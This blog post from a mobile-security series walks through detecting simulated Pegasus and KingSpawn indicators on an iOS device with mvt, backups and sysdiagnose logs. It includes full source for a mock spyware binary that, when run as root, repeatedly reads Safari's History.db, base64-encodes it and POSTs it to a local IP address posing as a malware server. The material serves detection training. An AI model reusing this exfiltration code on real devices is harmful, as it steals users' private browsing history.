In the first part of iOS Malware Detection we covered how to gather forensics artifacts, what to use to do analysis and what are some interesting files on the iOS. In this part, we will simulate a couple of IOCs and to see how to search for them.
The first part will focus on opening a couple of links and to search for them using different methods (filesystem dump, backup and sysdiagnose), while the second part will be focused on the creating a binary which was previously used by malware.
We will use mvt with filesystem dump as well as with the backup. Additionally, we will see how to search for the same information using sysdiagnose dump.
Visiting malicious URLs
To simulate, we will visit a couple of links which are indicators for Pegasus and they can be seen inside of Pegasus stix2 file which mvt contains.
The URLs we will use:
mvt
Before going with any of these two methods, we first need to download IOCs for mvt. We can do that using mvt-ios download-iocs command.
We can see that we have downloaded IOCs for malware such as Operation Triangulation, KingSpawn and Pegasus.
Filesystem dump
The first method we will use is filesystem dump. We can use ssh to dump the filesystem followed by the mvt-ios check-fs to actually analyse the dump.
After the filesystem dump has completed, we have created dump, directory and extracted the filesystem dump to that directory.
All we have to do now is run mvt-ios check-fs against this directory along with the directory where mvt will store its output (-o flag).
Once the mvt has started, we can see that it has loaded all previously downloaded IOCs. A bit down the output, we can see that it has matched URL http://youintelligence.com domain against Pegasus’ domain name indicator youintelligence.com from the records inside of Favicons.db database.
Following that, mvt has extracted the records from History.db file is the history file of Safari.
We can see that mvt has indeed found all these malicious URLs which are known IOC for Pegasus malware. Once mvt finishes, we can go to the directory we have passed with output flag and examine its content. One of the most useful files in there is timeline_detected.csv which contains the chronological timeline of all matched IOCs.
iTunes Backup
In the situation where the device is not jailbroken, we can use backups to analyse them. We can use Finder to backup the device or we can use idevicebackup2 from libimobiledevice to do the backup.
One thing we should keep in mind is that the encrypted backups provide more coverage so we should aim to do just that.
To create the encrypted backup we use idevicebackup2 encryption on PASSWORD to turn on encryption.
Once the encryption is turned on, we can start the backup with idevicebackup2 backup --full PATH_TO_OUTPUT_DIRECTORY. The output directory needs to be created prior to starting the actual backup.
Before we can actually analyse the backup, we first need to decrypt it which we can use with mvt-ios decrypt-backup command which accepts the password that was used to encrypt the backup along with the destination where the decrypted backup will be stored.
Now that we have decrypted backup, we can actually analyse it by using mvt-ios check-backup.
After the usual info from the mvt, we can see that it has found the same IOCs as it was the case with the filesystem dump. We also have the same timeline_detected.csv file created inside the result directory.
There are of course more files in there which was the case with the filesystem dump and if we are analysing potentially malicious activity, it is worth checking all of them.
sysdiagnose
The third method that we can use is using sysdiagnose. Sysdiagnose is a native way to gather logs which from the device.
We can trigger the sysdiagnose logs to get collected using the keys combination (holding together Volume Up + Volume Down + Power button). It takes a couple of minutes for the sysdiagnose logs to get generated.
Once the sysdiagnose has finished, we can use ipsw idev crash pull to pull the sysdiagnose logs. We first need to obtain the name of the sysdiagnose log, we can do that using ipsw idev crash ls command.
Once we have obtained the name, we just pass it to ipsw idev crash pull.
Once the logs are downloaded, we can extract the archive and start analysing it.
We will grep over all files present inside the sysdiagnose logs, but we won’t be able to find any of the URL IOCs. The reason for that is that the sysdiagnose does not contain the user data and browser history and URLs it has visited belong to user data not the system.
As we can see, not a single match was found for these URL indicators. sysdiagnose is a great tool but its main con is that it does not contain user data.
This marks the end of the analysis of malicious URLs, we will move to the simulating malicious binary and see how to hunt for that and to show that the sysdiagnose can prove useful there.
Running malicious binary
In the previous section, we have seen how to search for URL IOCs and that filesystem dump and iTunes backup both contain them. sysdiagnose didn’t have them because it does not contain user data
Now we will create a binary with the same name that was used in one of the known malware samples.
The binary will be simple and it will have the following functionalities:
we will name it subridged and place it to
/private/var/db/com.apple.xpc.roleaccountd.staging/as it was used in KingSpawnit will be run as
rootuser; otherwise delete itselfedit /etc/hosts so that it resolves to our Mac address instead of utilising DNS
periodically dump the
History.dbfile and send it to8ksecmail.io(points to our own Mac IP address)
The full code is:
#include <unistd.h> #import <Foundation/Foundation.h>#include “base64.h”
#define TARGET “/private/var/mobile/Library/Safari/History.db”
int clean(char *);
int main(int argc, char **argv)
{
// check if we are root and exit if we are not
if (getuid() != 0) {
return clean(argv[0]);
}FILE * f; for (;;) { f = fopen(TARGET, "rb"); if (f == NULL) { return clean(argv[0]); } size_t sz; fseek(f, 0, SEEK_END); sz = ftell(f); fseek(f, 0, SEEK_SET); char * content = (char*)malloc(sz+1); fread(content, sz, 1, f); fclose(f); char * dest = (char*)malloc(sz*2); Base64encode(dest, content, sz); NSMutableURLRequest *urlRequest = [[NSMutableURLRequest alloc] initWithURL:[NSURL URLWithString:@"http://192.168.100.62/history"]]; NSString *postData = [NSString stringWithFormat:@"history=%s",dest]; [urlRequest setHTTPMethod:@"POST"]; NSData *data1 = [postData dataUsingEncoding:NSUTF8StringEncoding]; [urlRequest setHTTPBody:data1]; NSURLSession *session = [NSURLSession sharedSession]; NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:urlRequest completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) { } ]; [dataTask resume]; free(content); free(dest); sleep(300); } return 0;}
int clean(char *p)
{
remove(p);
return 1;
}
To simulate the web server, we will use the following HTTP response and use netcat to server it:
HTTP/1.1 200 OK
Server: 8ksec
Content-Type: text/html; charset=UTF-8
<html>
<head>
<title>8ksecmal.io</title>
</head>
<body
<center>
<p>Welcome to 8ksecmal.io</p>
</center>
</body>
</html>
After the binary has successfully contacted us, we will see the base64 representation of History.db file being sent to us.
mvt
Filesystem dump & iTunes backup
Since we have already covered how to do filesystem dump and iTunes backup, we will jump straight to the analysis.
command: mvt-ios check-fs ./dump/ -o /tmp/mvt-fs
Once the Filesystem has been loaded, we can see that the malicious binary we have created and placed on the location has been identified as one of IOC from KingSpawn which is excellent.
Taking a look at the Cache.db file for the subridged we can see the IP address to where the HTTP request was made as well as the response that it got.
We could now proceed further by grabbing the binary and doing further analysis on it.
We will now do the same against the backup file.
command: mvt-ios check-backup /tmp/mvt-decrypted-backup -o /tmp/mvt-for-backup
What we can see is that the backup did not find the match for our “malicious” binary as those checks are part of Filesystem module of mvt so we did not have luck with this one.
Even though the subridged is present inside of osaanalytics.addaily.plist file, it was not enough to trigger the detection.
NOTE: as mvt-ios was stripping the “/“ from the start of filename, we have to hack it a bit because otherwise it would never match our IOC (/private/var/db/com.apple.xpc.roleaccountd.staging/). This probably was not the right solution, but in our case it was.
sysdiagnose
After we have obtained sysdiagnose logs, we can try grepping for the word subridged. As can be seen on the image below, we have a lot of matches.
Because subridged is the name of the legitimate iPhone process, we can take a look at ps.txt file which contains the list of running processes in order to get PID of our subridged process which in our case is 7749.
We can now do the further analysis, such as taking a look at all the threads or its task info (taskinfo.txt) file.
Conclusion
This marks the end of our second blog post on the iOS Malware Detection. We have seen how we can utilise mvt (both filesystem dump on the jailbroken device and iTunes backup on nonjailbroken device) as well as sysdiagnose how can be used on both of them. As you can see, each of these three have their pros and cons and what to use depends on your possibilities, for example sometimes you cannot jailbreak the device and you need to resort to the iTunes backup and sysdiagnose which can sometimes miss a couple of useful artefacts.
The post Mobile Malware Analysis Part 5 – Analyzing an Infected Device first appeared on 8kSec.